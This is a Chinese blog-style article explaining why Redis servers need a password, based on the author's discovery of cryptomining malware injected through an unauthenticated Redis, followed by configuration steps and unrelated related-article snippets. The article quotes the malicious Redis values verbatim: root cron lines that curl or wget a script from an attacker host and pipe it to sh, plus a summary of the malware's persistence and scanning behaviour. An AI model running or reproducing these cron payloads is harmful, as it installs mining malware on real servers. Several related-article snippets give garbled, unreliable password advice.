我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Redis一定要设置密码的原理是什么

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Redis一定要设置密码的原理是什么

这篇文章主要讲解了“Redis一定要设置密码的原理是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Redis一定要设置密码的原理是什么”吧!

    为什么redis要设置密码?

    内网环境可以不设置密码,但是个人服务器,以及线上公网服务器就有必要设置密码了。

    昨天我查看了一下minio的redis事件通知,查看redis的key时发现多了几个奇怪的key。backup1,backup2,backup3。然后我猜想应该是挖矿病毒。

    如下面所示:这样就将定时任务和脚本注入到了我们机器当中,就会开始执行 init.sh 脚本

    backup1 "\n\n\n*/2 * * * * root cd1 -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"backup2 "\n\n\n*/3 * * * * root wget -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"backup3 "\n\n\n*/4 * * * * root curl -fsSL http://en2an.top/cleanfda/init.sh | sh\n\n"backup4 "\n\n\n*/5 * * * * root wd1 -q -O- http://en2an.top/cleanfda/init.sh | sh\n\n"

    init.sh脚本内容是什么?

    en2an.top/cleanfda/in…

    我们查看这个key的value能得到它会去请求一个地址,我们打开看一下这个init.sh到底是什么东西。

    如下图所示是个脚本文件。

    Redis一定要设置密码的原理是什么

    这个脚本还挺多的,关闭selinux、杀掉别人的挖矿进程、杀掉CPU占用过高的进程,如果是自己就跳过、修改破坏系统命令、自己造一个下载器downloads()函数、解锁和加锁定时任务、添加挖矿技术任务、设置SSH免密登陆、下载执行矿机挖矿程序、关闭防火墙、清除日志、感染已知的免密机器、下载执行is.sh。

    is.sh脚本内容是什么?

    en2an.top/cleanfda/is…

    如下图所示,上面的init.sh会下载我们的is.sh脚本。

    Redis一定要设置密码的原理是什么

    我们看一下这个脚本是干什么。

    如下图所示,这个脚本的内容也挺多的。下载masscan扫描器、下载pnscan扫描器、安装 redis 用于创建 redis 未授权访问的漏洞、执行 rs.sh。

    Redis一定要设置密码的原理是什么

    rs.sh脚本内容是什么?

    en2an.top/cleanfda/rs…

    上面的连接可以查看这个脚本内容是什么。

    Redis一定要设置密码的原理是什么

    开放 6379 端口、自动化利用redis未授权写入定时任务,利用 pnscan 扫描b段IP 6379 端口,利用 masscan 进行扫描端口。

    Redis如何设置密码?

    经过以上分析,就知道这个病毒主要是通过你的redis注入进去执行挖矿脚本。如果你的redis没有设置密码,而且暴露在公网上就要小心了。

    可以通过以下两种方式对我们的redis进行设置密码。

    方式一:修改我们的redis.conf配置文件

    需要注意的是这种方式因为修改了配置文件, 需要重新启动我们的redis才能生效。

    找到我们的redis.conf文件。

    Windows如下图所示

    Redis一定要设置密码的原理是什么

    我们编辑此文件,找到requirepass,放开注释,设置指定的值就,重启redis就生效了。

    Redis一定要设置密码的原理是什么

    Linux的话,因为大家的安装方式可能不同,我这边是通过docker安装的,做了映射的。这里就不给大家演示了,找到自己安装在linux的redis目录找到redis.conf配置文件,跟windows一样的操作,配置完重启就Ok了。

    方式二

    连接我们的redis,然后通过指令的方式设置密码。

    这种方式比较简单,而且不需要重启就生效。

    下面的指令的意思就是把密码设置为123456,公网可不要设置这么简单阿。

    config set requirepass 123456

    我们查看一下我们的redis的密码。

    config get requirepass

    这样我们的密码就设置成功了,退出我们的redis客户端再次连接的时候就生效了。

    感谢各位的阅读,以上就是“Redis一定要设置密码的原理是什么”的内容了,经过本文的学习后,相信大家对Redis一定要设置密码的原理是什么这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是编程网,小编将为大家推送更多相关知识点的文章,欢迎关注!

    免责声明:

    ① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

    ② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

    Redis一定要设置密码的原理是什么

    下载Word文档到电脑,方便收藏和打印~

    下载Word文档

    猜你喜欢

    Redis一定要设置密码的原理是什么

    这篇文章主要讲解了“Redis一定要设置密码的原理是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Redis一定要设置密码的原理是什么”吧!为什么redis要设置密码?内网环境可以不设置
    2023-07-05

    一文详解Redis为什么一定要设置密码原理

    目录为什么Redis要设置密码?init.sh脚本内容是什么?is.sh脚本内容是什么?rs.sh脚本内容是什么?Redis如何设置密码?方式一:修改我们的redis.conf配置文件方式二总结为什么redis要设置密码?内网环境可以不
    2023-03-14

    redis设定密码的方法是什么

    在Redis中设定密码的方法是通过修改配置文件来完成的。具体步骤如下:1. 打开Redis的配置文件`redis.conf`。可以通过命令`sudo vi /etc/redis/redis.conf`来打开文件,路径可能因操作系统和安装方式
    2023-09-11

    云服务器密码设置要求是什么

    复杂度:云服务器密码需要包含字母、数字、符号等复杂的字符,密码长度应该足够长,一般不超过8位。密码需要包含字母、数字和符号,同时要求密码不能过于简单,否则容易被猜测或者破解。复杂度:云服务器密码应该包含足够的关键信息,如用户名、密码、邮箱等,以确保服务器可以在遭受攻击时迅速验证用户身份并采取相应措施。密码中的字符应该足
    云服务器密码设置要求是什么
    2023-10-28

    云服务器密码设置要求是什么呢

    强密码策略:设置强密码是防范黑客攻击的重要措施。一般来说,密码的长度应该不少于8位,包含大小写字母、数字和符号等,且包含的字符越少越好。此外,建议使用随机密码生成器来生成密码,这样可以避免被猜测和破解密码。定期更改密码:设置一个定期更改密码的习惯也非常重要。在云服务器上,一般有三种方式来更改密码:登录后长按身份证号码、
    云服务器密码设置要求是什么呢
    2023-10-28

    Java单例一定要加volatile的原因是什么

    这篇文章主要介绍“Java单例一定要加volatile的原因是什么”,在日常操作中,相信很多人在Java单例一定要加volatile的原因是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”Java单例一定要
    2023-06-30

    Proftpd权限的设置原理是什么

    这篇文章主要讲解了“Proftpd权限的设置原理是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Proftpd权限的设置原理是什么”吧!一、测试平台Debian 4.0r3Proftpd
    2023-06-16

    win10用户密码设置的步骤是什么

    在Windows 10中设置用户密码的步骤如下:1. 打开“设置”菜单。可以通过开始菜单中的设置图标(齿轮状)或按下Win + I键来打开。2. 在“设置”菜单中,点击“帐户”选项。3. 在左侧菜单中,选择“登录选项”。4. 在“登录选项”
    2023-09-06

    php中mysql设置密码的方法是什么

    正文在PHP中为MySQL数据库设置密码涉及:建立数据库连接创建密码设置函数使用函数设置密码检查密码正确性关闭数据库连接确保使用强密码并定期更改以提高安全性。考虑在MySQL配置文件中设置默认密码,并使用GRANT和REVOKE语句在不同数据库和表上授予或撤销用户权限。
    php中mysql设置密码的方法是什么
    2024-04-09

    linux登录密码设置的方法是什么

    要设置Linux登录密码,可以通过以下步骤进行:1. 打开终端或命令行界面。2. 输入以下命令来更改用户密码(将"username"替换为您想要更改密码的用户名):```passwd username```3. 按回车键后,系统会要求您输入
    2023-10-09

    mongodb不设置密码连接的方法是什么

    在没有设置密码的情况下连接 MongoDB,可以使用以下方法之一:1. 使用空字符串连接字符串:```pythonfrom pymongo import MongoClientclient = MongoClient("mongodb://
    2023-08-23

    Redis分布式锁一定要避开的两个坑是什么

    这篇文章主要介绍了Redis分布式锁一定要避开的两个坑是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Redis分布式锁一定要避开的两个坑是什么文章都会有所收获,下面我们一起来看看吧。1 第一个坑:错误释放
    2023-07-06

    win10设置无密码登录的步骤是什么

    要在Windows 10中设置无密码登录,请按照以下步骤操作:1. 打开“开始”菜单,并点击“设置”图标(齿轮形状)。2. 在“设置”窗口中,选择“账户”。3. 在左侧导航栏中,选择“登录选项”。4. 在“登录选项”窗口中,找到“密码”部分
    2023-09-12

    云服务器修改密码原理是什么样的

    首先,云服务器的密码应该是加密的。加密是指将明文数据转换为不可读的密文,使得黑客无法通过解密来获取其中的信息。加密可以保护用户的账户和数据,防止黑客窃取或破解。其次,云服务器的密码应该由云服务器提供商进行加密。在加密过程中,云服务器提供商会采用各种安全措施来保护用户的数据。例如,他们会采用端到端的加密技术来保护用户的通
    2023-10-27

    什么是轻量应用服务器设置密码呢怎么设置的

    轻量应用服务器设置密码通常使用动态密钥来保护应用程序的密码。动态密钥是一个加密算法和密钥,通常是一个称为随机数生成器的软件,当应用程序需要访问应用程序本身时,它将从随机数中生成一个唯一的密钥。轻量应用服务器设置密码的步骤如下:首先,确认应用程序本身需要访问应用程序服务器,并确定密钥存储在哪里。然后,打开轻量应用服务器应用程序。在轻量应用服务器应用程序中找到“登录”标签,并打开“密码管理
    2023-10-26

    js中Proxy一定要配合Reflect使用的原因是什么

    这篇文章主要介绍“js中Proxy一定要配合Reflect使用的原因是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“js中Proxy一定要配合Reflect使用的原因是什么”文章能帮助大家解决问
    2023-06-29

    win8系统设置开机密码的技巧是什么

    这篇文章主要为大家分析了win8系统设置开机密码的技巧是什么的相关知识点,内容详细易懂,操作细节合理,具有一定参考价值。如果感兴趣的话,不妨跟着跟随小编一起来看看,下面跟着小编一起深入学习“win8系统设置开机密码的技巧是什么”的知识吧。如
    2023-06-28

    云服务器修改密码原理是什么样的啊

    下面是一种可能的云服务器密码更改流程:登录云服务器控制台,在管理界面中选择“账户管理”选项。在“账户信息”页面中,可以看到当前云服务器的账户信息。包括用户名、密码、电子邮件、联系人等信息。如果用户没有设置密码,可以点击“设置密码”选项,然后输入新的密码并保存。如果用户已经设置了密码,可以点击“更改密码”选项,然后输入旧
    2023-10-27

    编程热搜

    • Python 学习之路 - Python
      一、安装Python34Windows在Python官网(https://www.python.org/downloads/)下载安装包并安装。Python的默认安装路径是:C:\Python34配置环境变量:【右键计算机】--》【属性】-
      Python 学习之路 - Python
    • chatgpt的中文全称是什么
      chatgpt的中文全称是生成型预训练变换模型。ChatGPT是什么ChatGPT是美国人工智能研究实验室OpenAI开发的一种全新聊天机器人模型,它能够通过学习和理解人类的语言来进行对话,还能根据聊天的上下文进行互动,并协助人类完成一系列
      chatgpt的中文全称是什么
    • C/C++中extern函数使用详解
    • C/C++可变参数的使用
      可变参数的使用方法远远不止以下几种,不过在C,C++中使用可变参数时要小心,在使用printf()等函数时传入的参数个数一定不能比前面的格式化字符串中的’%’符号个数少,否则会产生访问越界,运气不好的话还会导致程序崩溃
      C/C++可变参数的使用
    • css样式文件该放在哪里
    • php中数组下标必须是连续的吗
    • Python 3 教程
      Python 3 教程 Python 的 3.0 版本,常被称为 Python 3000,或简称 Py3k。相对于 Python 的早期版本,这是一个较大的升级。为了不带入过多的累赘,Python 3.0 在设计的时候没有考虑向下兼容。 Python
      Python 3 教程
    • Python pip包管理
      一、前言    在Python中, 安装第三方模块是通过 setuptools 这个工具完成的。 Python有两个封装了 setuptools的包管理工具: easy_install  和  pip , 目前官方推荐使用 pip。    
      Python pip包管理
    • ubuntu如何重新编译内核
    • 改善Java代码之慎用java动态编译

    目录